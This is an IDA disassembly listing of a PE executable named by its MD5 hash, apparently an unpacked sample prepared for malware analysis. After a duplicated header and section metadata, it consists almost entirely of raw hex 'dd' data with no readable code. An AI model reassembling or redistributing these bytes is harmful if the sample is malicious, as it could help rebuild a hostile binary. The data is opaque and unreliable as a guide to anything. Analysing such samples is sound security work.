; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 503BC075DFE0235A39FFE998E07DE9F5 ; File Name : u:\work\503bc075dfe0235a39ffe998e07de9f5_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00213000 (2174976.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00000200 ; Flags C0000020: Text Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _data segment para public 'CODE' use32 assume cs:_data ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 84C00h dup(?) _data ends ; Section 2. (virtual address 00214000) ; Virtual size : 0000425D ( 16989.) ; Section size in file : 0000425D ( 16989.) ; Offset to raw data for section: 00000200 ; Flags C0000020: Text Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _pdata segment para public 'CODE' use32 assume cs:_pdata ;org 614000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 8000005Eh, 222B0000h, 444082CAh, 0B7312A48h, 0AD385461h dd 3D0DB64Eh, 7046FB5Bh, 2C53E0D5h, 7E069404h, 0CC693E53h dd 0CFD0FBF1h, 0A24AECC5h, 2C386F32h, 492B5024h, 53729DBCh dd 576FD3CFh, 0BFAF1317h, 0B05F3DE7h, 0B0C17837h, 0FC3337h dd 93A71977h, 0F669F713h, 0F05E490Ah, 0CA38210Bh, 0F544CD03h dd 27AF1462h, 62353DF9h, 0CACAEA27h, 0DDF87A2Ah, 4A487D78h dd 963DFD6Ah, 5D7FB30Bh, 8DEF8F71h, 9E5CB4DEh, 84B5472Dh dd 691C2F2Ch, 0F942D5B6h, 3EAFAB7Ah, 9DB6B3Fh, 1D3F9E17h dd 6FCE025Ch, 93638334h, 1FC31DDDh, 1DC6F316h, 0CFBD1675h dd 64EF8A19h, 2204FC34h, 0A7AACB52h, 0FF605140h, 24B5E547h dd 81BC2C9Fh, 0BA2FFDFFh, 3B6570AFh, 59A5770Bh, 0C957E9F3h dd 54CB8DB9h, 72D03910h, 5A2FE32Dh, 609B8EE5h, 54D5AF36h dd 0B20594DBh, 5913351Ch, 6B264531h, 1C245E45h, 77C620ABh dd 44B06186h, 82B4D5F9h, 49DD71DDh, 0C8B0BBCAh, 0CDB905BFh dd 2F1F70B5h, 0B464708Ch, 73C3CBDDh, 0B8774117h, 39000F4Ch dd 0ED2E63A1h, 30FA2118h, 0A864F211h, 9B18FB6Bh, 43DC68BBh dd 48677251h, 7D58DA7h, 0CD2CA4Ch, 583FE0D6h, 5CC5E1A0h dd 0C57EE1B3h, 0AF678B2Dh, 0E86DFC34h, 1C8F25FDh, 0EEDE4093h dd 146FC70h, 37267D49h, 85AC9600h, 4F21CAB9h, 0D5FF3DA5h dd 0A9AB47B3h, 0BAF1CA6Ah, 39A115E6h, 9AD80DEBh, 305FB6FBh dd 4D37703Bh, 0F6AE5D50h, 0B9618B98h, 97B94AA4h, 5FCF3A73h dd 0B187DFBh, 63C5FE45h, 87D913C6h, 33BB091Dh, 16732679h dd 0ED7CD574h, 0E283EB09h, 7F23E206h, 944AA0AFh, 0A2BE2965h dd 25E3E5CBh, 96FD35ECh, 0D6031BA7h, 0A06DF22h, 5B6AFA7Bh dd 0B51FBB3Eh, 3099C7A8h, 126BCF31h, 0D4E034ACh, 9CB9864Ah dd 0EC5D5D0h, 0FF69CC4h, 741DFD97h, 0A913FE0Fh, 45E7BFAFh dd 7529117Eh, 0DC4DEC60h, 0CAB77568h, 7FFC6ACDh, 0D64B80A1h dd 185BDC0Ch, 0D8A6132Ah, 71C1431Ch, 0F9214AE8h, 3C7EAA0Bh dd 32A9EB50h, 227DE480h, 2F8D3DB3h, 4023FCCEh, 9D0E7426h dd 6B0F1591h, 0C42E237h, 864705A7h, 96E587ABh, 0FD3E5DE4h dd 0CDFAC6D5h, 214C0317h, 74675A79h, 8DDEBD73h, 2AFA6802h dd 0D576916Ah, 4B05031Fh, 998AAD8Ch, 7B2A3309h, 0CF16A52Ah dd 0A95FE940h, 0D0BF5C9Fh, 401F7B2Ch, 0FF237A13h, 56E0456Ah dd 0BEBD3E31h, 9BD84859h, 70AAE22Bh, 0A183072Bh, 0EBF77CE8h dd 58EE4445h, 71E51FAh, 5FF6C90Eh, 94D55A9Ch, 0AD5FB11Dh dd 3C8AE224h, 2F8385CBh, 607EEAEh, 4D4FAA9h, 0CF18B90Fh dd 62FF75F8h, 0BFB91A98h, 0CCF6239Dh, 0D475229Dh, 0AE3F93BCh dd 1ABFF66Bh, 3C8C50D4h, 0C6DEB89Dh, 4952DC95h, 40188893h dd 1ACE9D0Dh, 67A4332Fh, 8667E065h, 0BD4A7C8Dh, 0FF96876Bh dd 0BC195559h, 76BD5A28h, 0D505C6D3h, 0A2AD9954h, 67F9880Fh dd 84053BD6h, 0FC30CCAEh, 914FA21h, 0A453373h, 7575AF49h dd 0E3D50D62h, 48A1E558h, 76C5E34Ah, 9D995B11h, 61EE213h dd 36282965h, 0AD84B014h, 0D68F2347h, 2B0DEEBFh, 2D790983h dd 5D972710h, 1A710A83h, 0D360F096h, 8D11419h, 444ED33Fh dd 2D910E6Eh, 516659E8h, 1FA22D63h, 1B747A6Bh, 0E51BD0E4h dd 1D2FBF9Ah, 675147DFh, 1F73C304h, 4034A1CDh, 0F35615C0h dd 0DE1DE744h, 0D944EC48h, 0F2235166h, 0BF88D757h, 0B8A41703h dd 787AC876h, 98EB51F9h, 82FDABABh, 7D32555Fh, 13D4FBCEh dd 6B532EE1h, 25B228D4h, 36417117h, 0B2742AF8h, 256148CAh dd 0A2FF2434h, 0F53011DAh, 928EABD4h, 9C5E5D16h, 10D60F43h dd 27703336h, 0CAAB9298h, 1DFA1B2h, 4F67E335h, 0DEBC8C46h dd 66ADE50Dh, 68B7D132h, 7865E4A2h, 0BA27A12Ah, 0D889319Eh dd 0BF3046D3h, 0B6F0FD49h, 0A52C6A39h, 9790A9AEh, 8DEC3A28h dd 0EFDC3A6Eh, 0D5954140h, 84D76ABh, 52669C20h, 83100061h dd 33982B22h, 2A9E8FE8h, 78DE103Bh, 0DDE38502h, 6B4F22Fh dd 2B150E7Bh, 0A395B4Ah, 0A1391D3Ah, 4E6E4A9Ah, 5AA4C8C2h dd 8BE0A377h, 0B1C05238h, 878A5E31h, 0E2A1AF5Fh, 31ACA42Fh dd 0E185820Ch, 0EF053344h, 8E5A09B5h, 716C2659h, 6ED06EF6h dd 0BCED88CEh, 0CF067432h, 0F440626Ch, 7FA0C10Dh, 43E63C18h dd 0DFC1D895h, 2E86291h, 0F2F0E50Ah, 5B6FBA11h, 0E189A1Fh dd 0E17A36D8h, 2575049Ah, 0B6DE97A4h, 3650543Ch, 0C810F8E0h dd 5FDF2109h, 0C727687Ch, 0EE0FD53Bh, 15ACEB07h, 5B255C05h dd 5F34FECAh, 35997F71h, 0AF403A6Eh, 0A5C689C3h, 9646E0A4h dd 0DC3CE5D0h, 0A3D90526h, 618FDB8Eh, 0F696E5CDh, 1113CE2Dh dd 0BB56F7D8h, 0DB54D7B1h, 1AE25F2Fh, 0AB80F9D8h, 29928555h dd 0CA47C138h, 4068321h, 71AB58Fh, 4BFF34CBh, 9AC29AF9h dd 0CF98E468h, 4E056289h, 80EC7946h, 0B0A3AB74h, 71065651h dd 64746B75h, 7072B753h, 0B8CF7F20h, 0FF059F0Fh, 3C95B0BDh dd 76C8C449h, 762CF851h, 76A99DE3h, 900EFA0Bh, 0B40D7ADAh dd 0BF975A61h, 1F15D331h, 2EE2400Eh, 829480F0h, 0D46442C5h dd 63AFB24Bh, 3A19BE15h, 0C2E9F0F0h, 6A6D9C2Ah, 0CF11D87Fh dd 0D58E17CCh, 0F68ED822h, 0BBB135FBh, 0FF3EADACh, 63FE3F85h dd 0FC452D74h, 0F790E653h, 8BF50E8Dh, 0F38D56DFh, 6517356Ch dd 0BAFA5549h, 0D6665D6Dh, 0F092019h, 0CEB5F24h, 0AE8BF893h dd 0C4E327FAh, 0E6D4EBE3h, 0DECCCD53h, 31450EBDh, 0E0C0094Bh dd 2E4D3435h, 0C3036629h, 562A1D7Ch, 99A35F8Ch, 2B0D1176h dd 5963AE1Dh, 647363FFh, 60DEB952h, 76593976h, 4EEC9179h dd 78C1707Eh, 848A707Eh, 5469246Fh, 0C4F178ECh, 0F2E59554h dd 0F866DB1Ch, 10A84ED7h, 0E284A4CFh, 3CF56025h, 60E6E29h dd 56E10FA2h, 0D20940A3h, 8FFB2B36h, 30D8F836h, 0A20F620Ah dd 0C4E7705Bh, 25B16ACAh, 45A8F6Fh, 0D533DD9Eh, 99AF517Dh dd 0A1920029h, 0BCBEE487h, 7D4D9E2Bh, 0DF65C157h, 0FBC85D80h dd 0F3621415h, 8A922C51h, 17DDD717h, 0EDDBCA59h, 27D81ACFh dd 0AD9A8948h, 0ED3341Fh, 8A65CAEEh, 69DC3968h, 4EC333FAh dd 0E21B733Ch, 465EE2FBh, 901386EFh, 6D6E32D9h, 0E6F05771h dd 90D7D297h, 84D5B18h, 27FD4A97h, 899F2774h, 0DC6E83BDh dd 67827668h, 0DCF592Ah, 4852F09Dh, 4372B0EEh, 3CDE1789h dd 0B02C47E8h, 0C494A090h, 8E638AA8h, 4887FDE5h, 0B413EA9h dd 309F3757h, 4F01B9EDh, 0BEDB2406h, 86BF18C4h, 0C29B79EAh dd 82BA5064h, 0DB354E6Dh, 63BB6B8Eh, 0DB15B5BEh, 40E66AFFh dd 0CA60C0A5h, 0AFDF2E15h, 4668373Dh, 981C36DEh, 50660D8Eh dd 29227887h, 0B569F2B5h, 91A956Fh, 0A3236D92h, 27F9471Eh dd 800674ECh, 3C7A1BF1h, 5608DEAFh, 0B46071ADh, 187B4514h dd 49CD71DAh, 0E2AD3BDFh, 0E9A088C3h, 8D6BC71Fh, 47BF6591h dd 760CEF9h, 0FCD9964Ch, 3EA9F991h, 0D161B9BDh, 512CB2A4h dd 0C176C8E2h, 6B108C3Ah, 0C01379CCh, 0B2C72661h, 1E4FAC84h dd 65E8AAE1h, 7764276Eh, 0F54FF7AFh, 0D898A326h, 94392215h dd 31A66009h, 5686868Bh, 9FA1B50Ah, 4A831FCEh, 0D6E523Fh dd 0EF626E7Bh, 0B1C29A22h, 811D780Fh, 4605478Bh, 98EDDCF4h dd 86A182F2h, 8ACABF2Ch, 1E5B67B4h, 0EC31B133h, 0AE4E880Ch dd 0F2C129B8h, 8214034Bh, 29F96008h, 0EA74943Ch, 4E712CFBh dd 0E6CC448Fh, 0E81FC3D6h, 69FF83EFh, 0FE764C7Bh, 89B56963h dd 565B9555h, 0A42A0D81h dd 5C446AD6h, 0B36D5D0Ah, 8AF829F3h, 0ACD070Bh, 89E3780Eh dd 3E62BC03h, 16DB5B7Dh, 2F1D92FAh, 0F2C1B2CDh, 2AB1863Fh dd 6DB0CB8Ah, 44A40D80h, 0BF2970C1h, 0EACB01F9h, 513B0951h dd 3B6EEE0Eh, 0E747E7E3h, 911CF5C7h, 45C3E7D2h, 0A74427Bh dd 774DA028h, 0C115357Ah, 0FF10366Ch, 31EFFFD1h, 8A59169Ch dd 0ABB36615h, 0F480E7DFh, 0D4AA6BDBh, 0F8071337h, 13F85E3Ch dd 21932D7Ah, 85C5F984h, 7D9B3DB0h, 7965C288h, 6A80C984h dd 61E23B49h, 0AA58C7CDh, 6B7FC5F6h, 4316AA14h, 5FE981E1h dd 623D3698h, 69A2932Dh, 0E7AA04DFh, 998B165Ah, 99A83ACh dd 0E136921Ah, 839306A1h, 0A0EFCFD7h, 8F697D8Ch, 2940920Dh dd 0B56FA0CDh, 810B45C1h, 0DA4E50C0h, 701C2290h, 98C2EF62h dd 0FE212DB5h, 222447A9h, 2B31034Ch, 7E9B6564h, 0DBAE5360h dd 88A64E45h, 0EEF2E157h, 0BCA38DCDh, 27FC9E93h, 0C885E724h dd 0B490F5CBh, 0FC0CCB99h, 2F17DC7Ah, 0A718737Fh, 3A8F632h dd 4D5424Bh, 760EC77Fh, 5757DE11h, 0CF8D0215h, 3FE3FB35h dd 87DF1907h, 0E5216695h, 5647710Fh, 89B453B6h, 79F9F5E4h dd 0ACFCDD8Dh, 0B011AEB3h, 0CE0EE9BDh, 75D0E693h, 0D05F9A3Eh dd 0AF47A4EAh, 0B044C267h, 32B2860Ch, 9B6E9777h, 1D817FBDh dd 0F9E1E159h, 10CC8CF0h, 237A247Ah, 0C912AFD9h, 1EC34010h dd 5880EB25h, 724E18D2h, 1186CE4Ah, 2B08B0AAh, 5F380991h dd 0A50F3BDEh, 0E8970DDAh, 2DDE3FE9h, 0DD3BC127h, 1B4A1C6Eh dd 0E71D6CB2h, 0BA976B53h, 676A0356h, 9E801823h, 66E90953h dd 0A921BF4h, 0E757262Ah, 33DEB904h, 4B4F497Fh, 20771B42h dd 787AB271h, 244C0C9Ah, 1C4A09D4h, 2AFCAE5Fh, 763D7482h dd 5E2D78E6h, 0E194060Bh, 51ABC602h, 98B4170Ah, 2480BF2h dd 720D29B0h, 52781E09h, 0B0DB1AFCh, 0C844348Dh, 0E8C87D67h dd 0FCCC85E0h, 91457644h, 87F8CB1Eh, 0DD2418E9h, 43B1AFC7h dd 0DEBA741Dh, 5ACA0BE4h, 1829D005h, 2A3B1BCCh, 59D79267h dd 0FCA9ED3Dh, 798BAB31h, 0E08DDC59h, 624416EAh, 663916FCh dd 31B1D498h, 8E420B7Bh, 8A2106A7h, 0BA552103h, 869404AAh dd 10F1E908h, 0B726C47Fh, 0CBE08C0Ah, 46378A40h, 0BFDC979Eh dd 0D02BB1B5h, 0CF1B38FBh, 7FC4B2D1h, 0F4878D88h, 32205907h dd 6EB8B534h, 79C5798Bh, 4B182A00h, 58D478Eh, 172E8F6Ch dd 70B5951Ch, 71014419h, 9D01F98Eh, 0E0EEAD6Bh, 8775492Ch dd 0BF4A48AAh, 0E77A9930h, 0E723BDD3h, 6826EBF8h, 0E013D71h dd 14E23308h, 14B4044Ah, 183F8F0Ah, 0DF02A558h, 0AA8647B6h dd 47D8B1C4h, 55F00490h, 0E3A36C5Dh, 375464BDh, 585D55BBh dd 567E4E5Ah, 3DD190FAh, 36889624h, 3AA798ABh, 0E3F03690h dd 0B1A77C1Bh, 578383B8h, 7B72E49Dh, 0C5858CC8h, 0A933D79Fh dd 560DBAA6h, 4352083Ch, 0F678F2BAh, 37EBFB8Dh, 0CE085D62h dd 0CA7CE55h, 0C7F539Dh, 1EBFDF1Dh, 972E0E8Eh, 0C421ED76h dd 4DE60D31h, 366F2C07h, 2D828D26h, 0F6A4616Dh, 2CFDD67Ch dd 0A60920ABh, 7BC4C0F2h, 183106FFh, 1853B691h, 0E73A3E81h dd 0D56F0C8Dh, 7D82A290h, 9B619F84h, 0E6FE4154h, 2221647Eh dd 0A23F71D7h, 9A0A2130h, 5D2C7C99h, 0A0B8B1F8h, 8814EB5h dd 6DB6DBA8h, 0B8DA51E4h, 59924F5Dh, 28DCA9D6h, 965D89F3h dd 51BEDA4Fh, 0B13DB66Fh, 0DDF99DCCh, 0A1BE1FB9h, 2B63DB88h dd 0FEFB5E1Eh, 0B15E5A66h, 0BBF26308h, 88ABC31Ch, 0B067127Eh dd 0DF385217h, 0E218359Bh, 0F1AC0323h, 0EE1B0518h, 0B3AEB9B9h dd 524341CBh, 7D6134A4h, 2A775A4Ch, 4B6228h, 0B434F484h dd 1E9AEDBDh, 1F2C062h, 9D125051h, 5869254Bh, 0A5993EFDh dd 0F7D4C6EAh, 60521F3Fh, 0BA4A0F96h, 0A8D9E83Eh, 5B0C3436h dd 0EE949E1Eh, 0FCEFAC95h, 0B1A6FE6Bh, 42611AE8h, 0D8577180h dd 5B2A1834h, 772EFE8h, 0DD357D5Eh, 77E2803Ah, 6019E72h dd 5B0E852Bh, 3098BCE9h, 0DE6CA393h, 0D2E4BF24h, 9C186961h dd 0B6F1C790h, 8338D0B0h, 0FACF4E04h, 7B0DB2Bh, 1BA6AC59h dd 7BE3CA30h, 5A572C13h, 57BF96ECh, 0CAF9A9BAh, 0D77611C4h dd 43DA5CBEh, 0B2C19CFDh, 64FBB5C9h, 0BE2ED5Eh, 0FAD71CC3h dd 9D28047Fh, 0B9CC50BEh, 91EA41FAh, 64D5CF75h, 0C1B0F339h dd 0D7404F50h, 3AC94C49h, 0A00C4D07h, 59DB051h, 19211BFh dd 3442367Fh, 38258CEFh, 56352583h, 1B91AF7Bh, 5D05399Dh dd 0DFD26032h, 9F028991h, 39707140h, 739DCE58h, 9BF15876h dd 2103D2A5h, 1530A484h, 0EB6DAA15h, 9E0CA975h, 7113C0F8h dd 0C58B3C6Dh, 0B0DE6DF3h, 35FF608Eh, 530A01E0h, 47FCE7AFh dd 47C9EC3Ch, 93F0FF5Dh, 0B8987EA5h, 1771FBCAh, 0B4BAC8Fh dd 53BD8CC1h, 955F82DCh, 8B5B0A1Ch, 776231C6h, 4262FF4Dh dd 0C2A4A230h, 0D1293C08h, 0ACD13A13h, 0BF3D6F7Eh, 25FDD861h dd 3644CE6Dh, 35A0AF47h, 0A699C0A2h, 43A00578h, 0C98CF96Bh dd 2B285456h, 101228C8h, 0BF1D3F21h, 0E68727EFh, 0FE5F5F35h dd 9E6B092Fh, 3071D4Bh, 0EC3150AEh, 0DC2B062Eh, 28D80585h dd 732FD563h, 8F306AE6h, 833A1CBFh, 0BF515823h, 0CBBE01BEh dd 851C565Ah, 5DF8CBFh, 36F105BDh, 7615689h, 0BE24442Bh dd 0A31CDF0Bh, 253F75AEh, 866E57A9h, 0F589791Bh, 7CE523EBh dd 5B8E3953h, 211D95BEh, 0AF587EB3h, 0A2A9D812h, 9D6FCED9h dd 0C9016D69h, 0C84170D1h, 26D76B27h, 10879CC0h, 0FC0792E0h dd 0BD531877h, 0C6FD38BFh, 0AD1098C7h, 0DE75C48Bh, 0A5732605h dd 14FC32C0h, 0FE25F3A2h, 3F16D741h, 8EEB67EBh, 54D98925h dd 7D3FF8B0h, 3FF1B97Ch, 618884DBh, 3B8436C5h, 53C1588Fh dd 0E8F960BAh, 8AB50CB2h, 0D7BD8FABh, 0F23688C5h, 0FA7F60h dd 0ED064F6Ah, 9E70C416h, 8D36B054h, 4B9BCB4Ah, 68C66B0Ah dd 69CFF7E7h, 9D026127h, 0DFB6DC4Eh, 9158D259h, 56107F67h dd 1D891633h, 0A617F83Dh, 1879F8CEh, 704BA7E1h, 0CF5A9841h dd 905EED34h, 0EB7A6657h, 0A5CBEE83h, 62A03FF5h, 712C2434h dd 3337E1B2h, 805F26B7h, 707AA782h, 471F7D18h, 9FF300EBh dd 0C4DE8FFAh, 7E841B4Dh, 0EB2F1BF7h, 771ECA73h, 990264A0h dd 6EC5E45Bh, 92138402h, 0C87AE981h, 0ADAB1C35h, 64163164h dd 27D6397Ch, 6DE8160Fh, 0F5BD1BA6h, 264B39E8h, 3C88D74Dh dd 2352B26Fh, 13D3FE5Dh, 1F4842C0h, 278B2A9Ah, 701830D1h dd 3AC06B29h, 55234807h, 15B6591Fh, 9E31CC89h, 1C5EBE34h dd 0DD63F8B4h, 0CF282530h, 0B170595Dh, 62CDDEFBh, 0BE563179h dd 0D4D49916h, 0C9D4CA3Ch, 6D56FA25h, 84D5B801h, 5FAFB013h dd 0E8BB6617h, 18BFDA21h, 0C4500CC0h, 4D7CC7A6h, 81BA3DEEh dd 684A9832h, 0C729F8ECh, 0D23E7418h, 205C46A7h, 0BD933C2Dh dd 3807D069h, 51B276AFh, 825DAF46h, 752F1F68h, 61C30AE6h dd 0AD1C75A5h, 0ACC36BF7h, 31C12D27h, 0D774269h, 768D5B22h dd 9008E46Dh, 271730B8h, 686A4212h, 89545F32h, 76165FEEh dd 40496F3Ch, 0C5A30A81h, 9ECD5AA3h, 0F599AB73h, 1E8D7A64h dd 9ACE3CB5h, 0CE1599D5h, 1B1D763Fh, 0B22C07FCh, 81DFAC68h dd 0C429544h, 0AD298180h, 0DFECA9E5h, 0BE7737A0h, 0E1DA1330h dd 0EF275748h, 0BA08395Ah, 688224D3h, 0A66818E9h, 0FADC2A0Ah dd 0B594C84Ch, 0B02B3248h, 21CC3B35h, 0F7A47BC6h, 43D14373h dd 2B7BB0CFh, 88964F0h, 8C6066A0h, 0CB4D2B79h, 78A000ABh dd 9FFBCA33h, 203261C0h dd 0E42468A8h, 92F4636Eh, 0E1CA9159h, 22EC41BCh, 0E09579E9h dd 0C7678807h, 0A63AB0D1h, 13D2E107h, 7A1FC590h, 4B85D52Ah dd 934F865Ah, 88B20F9Dh, 7484DBEh, 55CE85C1h, 5AAD662Ch dd 86E0707Ah, 0D887954Dh, 171A7576h, 2F9CF946h, 0F23702B4h dd 89108CC5h, 0BA5C8CF0h, 96EFA502h, 64AD7001h, 96CC2A88h dd 0D6AEB64Ch, 0E71ABC38h, 896E33B7h, 1D595E61h, 27C09183h dd 0A132A390h, 7660A129h, 59DD1501h, 6714165Ch, 0ADAE6F5Fh dd 1539252h, 6F8AD2A7h, 910780BCh, 0A8633647h, 0D3F2A4F5h dd 66FC20AAh, 36888431h, 0A51F8F2Bh, 0FB0C35B3h, 0B8D8CF46h dd 0C01C975Ch, 0C9B1CEDDh, 293F67E9h, 143134EDh, 8C2E0E9Fh dd 8352895Ah, 3379EF16h, 583E6831h, 0BACB3B37h, 666C8304h dd 8437FE60h, 6D2BF112h, 127A56D9h, 93B72DD3h, 0CC0D11D3h dd 1EA172D9h, 42B92F05h, 6903DDA3h, 8D6A4884h, 0E4D2D6CCh dd 6786E373h, 3AD0DE88h, 357FF5A6h, 6FB7D141h, 0B5ADDh dd 23DAAF89h, 879CD123h, 230F49B4h, 0B4E6447h, 4370CF34h dd 0EA7C61C0h, 55B50C33h, 0C63AC5D6h, 3D2CA7FFh, 4D604ACAh dd 0E0ED76FCh, 0ED401C7h, 0E8167795h, 27F394C3h, 0F37FD3C2h dd 0BCBE378Bh, 0FB152927h, 0C7759461h, 0E54F530Ah, 3D7800E5h dd 46147A8Bh, 5161F54Ah, 0F09BFD0Bh, 664AA7C8h, 0BC12744Bh dd 9FE85DBh, 489AD646h, 3A43DC5Fh, 4EF9E19Eh, 0A342C88Ah dd 0C5BC1EB1h, 97A1F07Ah, 5D3EF9D9h, 898875A1h, 5183AF06h dd 1C47394Dh, 0F8FD3CF6h, 859F4DADh, 76FB68F1h, 1167091Dh dd 0D91DFBC6h, 0A0EAC46Ch, 0B610669h, 9C083DF7h, 7BAB2E09h dd 3D72618h, 77D78D55h, 6057B767h, 93ECFC20h, 20E3B4B4h dd 0DCF6FDBDh, 95AF3EACh, 0E3A210C6h, 9380F1E3h, 3FB8CACEh dd 6AA2DEAAh, 87B3A11Fh, 0BAA43506h, 7918C9ABh, 6CD86399h dd 0E29D3EBEh, 0F29260F6h, 7501B918h, 5C2E8759h, 87CD8017h dd 86035206h, 0F82D6D66h, 35E6DF6Ah, 0C4311C9Eh, 3A412A48h dd 0F8858971h, 0AE2F5FD7h, 3D96B3BBh, 638E677Fh, 468F2EB5h dd 3D4C53EEh, 0FA957706h, 0BD70CAA9h, 70AEAB4Fh, 64ECD201h dd 0ACAAC91Ah, 0AB9BF9A9h, 0D206A95Ah, 36D53672h, 0D3FC596Fh dd 0D86AAF0h, 7B27A3B8h, 87441E3Dh, 97F7FB3Eh, 5C7DCF79h dd 0DB04110Ah, 5700DEF5h, 0D060211Fh, 529D0154h, 5F4857BCh dd 475C8F6Ah, 0D4C9493Bh, 5A82E70h, 0D337D07Bh, 44F5344Bh dd 0AF92D4ACh, 92D95529h, 0C9EBEBD1h, 29F5433Eh, 0FE4C1A27h dd 0CE26D8C5h, 8E9332C1h, 0B182A7CBh, 32C5317Fh, 4342997Ch dd 0BE5016E2h, 0C51A2CE7h, 8D14EFF5h, 0C5F034Ah, 6820DE33h dd 0C5B72E36h, 0EA3AA70Ah, 0BB99FF5Eh, 0CB8E1B88h, 57049772h dd 0B6B28935h, 0AA05C038h, 164CE22Bh, 464F411Ah, 791CF76Bh dd 0F0F988B5h, 5ED77DC5h, 2B66A337h, 6C7E6334h, 58159783h dd 739DCF4Ch, 3EE43EFBh, 0CC2EF7DEh, 1AF10908h, 52F9D189h dd 51A39935h, 0C33B01A5h, 984614F7h, 670A8A4Fh, 0F6088FE5h dd 2F52F156h, 0A859FBCAh, 3E73C0CBh, 0B49BF84Bh, 79F604F8h dd 81780774h, 0CD0DD847h, 79A7FA1Bh, 0C8F2664Ch, 0A6F3D2B6h dd 2099A3F2h, 0F6F4B70Dh, 6505AF44h, 0E3C9F12Eh, 9D8DE1BDh dd 71C6050Eh, 0F2D750C5h, 0CB6F81D7h, 0DD9BC1B2h, 0F4BAB1DBh dd 5E5DD1B6h, 0F60770F8h, 0EC5F5715h, 6878C9EBh, 0F1ED776Ah dd 7EDDFB22h, 3F71A5ACh, 866D6931h, 4CF0738Ah, 0C957FFBh dd 0BA73A054h, 8322AAECh, 42510C33h, 0BDAF3FECh, 53BACF6Bh dd 429D07C3h, 0B92AE5D4h, 0DD5C4C08h, 3F1B52C2h, 3F73CD2Dh dd 0CB63E8E5h, 693F1937h, 53580789h, 0ED6C4642h, 0A2486A4Fh dd 6730DD7Ch, 26E807F0h, 17891956h, 279E4561h, 0F9BB0728h dd 11222145h, 652E1F6Eh, 984C7D75h, 8303E596h, 1523F91Fh dd 7C46AD5Ch, 5BDD9009h, 0E163B6DBh, 0DF2F4EECh, 56CD4E4Ah dd 97072481h, 0F1C2E119h, 30F18AD7h, 568D3B15h, 0B5D2EDB4h dd 7A42E284h, 40B55C2Eh, 73113E66h, 965581A8h, 0E4DD7BF1h dd 6619B227h, 931E97EDh, 20469FDh, 65415F1Eh, 0FB72F0D8h dd 0C0C9F1B2h, 24604C62h, 0DD64BDC8h, 889B266Eh, 17A56B9Fh dd 62BA78BFh, 9BFD03B3h, 0C6A96268h, 0B9B946E4h, 1311343Ch dd 7CDAC1DFh, 1344C446h, 259E190h, 3EE6B93Fh, 0C067DCCEh dd 6E575757h, 0ECB72CC6h, 6085E478h, 1377AFE9h, 0A1D36F38h dd 0F35B1ACBh, 29C1F804h, 2C14F23Fh, 84025103h, 670018C0h dd 3CA2165Ch, 934EC66Dh, 57A237D7h, 4DE064E9h, 9034C7Eh dd 0CED93B98h, 7F92B883h, 0DB7FD801h, 338B82FDh, 4553DDACh dd 0DF368CB3h, 0F686D187h, 0BE183A28h, 0FA78E729h, 24470297h dd 72A73952h, 0F41A4B1Eh, 0E893762Eh, 984ECB6h, 0B0946957h dd 993CB371h, 367670C2h, 79B33238h, 8BB301CEh, 0DF8E6CB0h dd 16006B65h, 233D1E61h, 0BC54880Eh, 0E4E46996h, 0A44055D4h dd 0DA8941BDh, 3C26C340h, 0DC047CA8h, 8CA1633h, 81336157h dd 7200ADC9h, 53C0883Fh, 0AD8CEEEFh, 4AC81070h, 14A273E1h dd 52028693h, 244BCB4Eh, 2F5BD256h, 738AEDB5h, 62D78B07h dd 76EA6551h, 5C52CF98h, 72C306B1h, 260365A0h, 5B66E2D0h dd 53F287D1h, 0C761A0C4h, 0ECF162C1h, 0A293C9D1h, 929208F9h dd 7134BA56h, 7E4BDA86h, 0A282CD4Dh, 71A3F3Bh, 0E4D48049h dd 706B9692h, 824F4D56h, 129FB555h, 0ED95B67h, 0BE562C2Fh dd 0A75526DCh, 0E5B0F947h, 697CAB12h, 8CE2AA3Dh, 869FD24Ah dd 14D6901Ch, 3EDB5338h, 0A4651FB8h, 0AB5AF94Eh, 76015A24h dd 6C69C710h, 0BE6CCF93h, 0B5FA07BBh, 0AB692DCEh, 0B34DC315h dd 0BB788D26h, 5DDC8F2Fh, 0C880D619h, 3CF6026Dh, 12FB9FB9h dd 711DE6CDh, 44A094E2h, 11EB5CD5h, 7477B684h, 0D2D0A710h dd 0EF1B20F1h, 7A1875BEh, 99B45862h, 858E7370h, 7C35CF94h dd 960B245Dh, 0C08993DAh, 714D1FF7h, 7A14EE74h, 8B2AF062h dd 0F11DC743h, 35F2A02Ch, 32DAFE97h, 4B9DA883h, 436319EFh dd 76B0D220h, 6BF55D36h, 93CC7FF6h, 243FF1B1h, 0B73A7BDFh dd 883896D4h, 609EDDB6h, 24A3153Ch, 0F68D3DF4h, 0A8B8C3BBh dd 13AF2DEFh, 5CA4B993h, 13B4C070h, 0E61B8BE5h, 589310D6h dd 589FD6DFh, 3033E776h, 0BA1619FCh, 0EAA3DBBFh, 0DD9E9F93h dd 8B71468Ch, 1EE4A686h, 4F57D335h, 7470A830h, 0A1C50043h dd 7032F98h, 542F6B51h, 0C2436A28h, 0E39D8093h, 0E71A6BBDh dd 0DF9E787Dh, 7D4F934Ah, 0C120F112h, 0B5EFC971h, 0F8321011h dd 10E71EB5h, 3C13542Bh, 9BB25F39h, 50406C06h, 63084F26h dd 52DDF522h, 0A7D158D0h, 0EF6FF1DAh, 68431BDDh, 18A9A5B6h dd 8F24C442h, 0B8A18673h, 0A72CD7D0h, 0B03769A5h, 4C396C61h dd 524983FAh, 0F80E5F78h, 0CDB48F9Ch, 0E9D30B4Ch, 0CF921A82h dd 0BFC923A5h, 6EB389F8h, 0FFEF2BB2h, 